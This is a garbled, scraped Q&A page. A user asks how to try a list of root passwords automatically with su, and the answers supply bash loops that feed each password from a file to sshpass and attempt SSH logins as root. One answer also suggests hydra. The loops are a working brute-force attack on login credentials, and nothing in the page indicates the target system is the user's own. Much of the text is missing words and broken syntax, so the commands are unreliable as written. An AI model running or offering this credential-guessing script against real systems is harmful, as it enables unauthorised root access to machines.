bash - Entering Password in su- through loop -
the scenario have list of root passwords. don't want keep trying manually. wrote shell script :
for in {1..26}
do
su - >>result
done
and password on file "attempt.txt".
now on command prompt type command :
bash p2.sh < attempt.txt
but shows errors : "standard in must tty"
so there way can enter these passwords through codes or commands without manually typing each of those? please tell command-line approach instead of advanced utility software. i'm in learning. :)
you can test password making ssh connection in loop:
#!/bin/bash sshpass -f<filename> ssh -o 'stricthostkeychecking no' -p port user@ip
you should install sshpass
on system
this surely works:
sshpass -p'password' ssh -o 'stricthostkeychecking no' -p 22 root@ip
try 1 surely helps you:
for pass in $(cat /path/to/pass) sshpass -p$pass ssh -o 'stricthostkeychecking no' -p 22 root@ip done
update
so if want pretty output:
#!/bin/bash pass in $(cat /path/to/pass) echo -e "reading $pass..." sshpass -p$pass ssh -o 'stricthostkeychecking no' -p 22 root@ip if [ "$?" -ne "0" ]; echo -e "$pass incorrect\n" elif [ "$?" -eq "0" ]; echo "ssh connection established pass=$pass" fi done
you can test passwords hydra
Comments
Post a Comment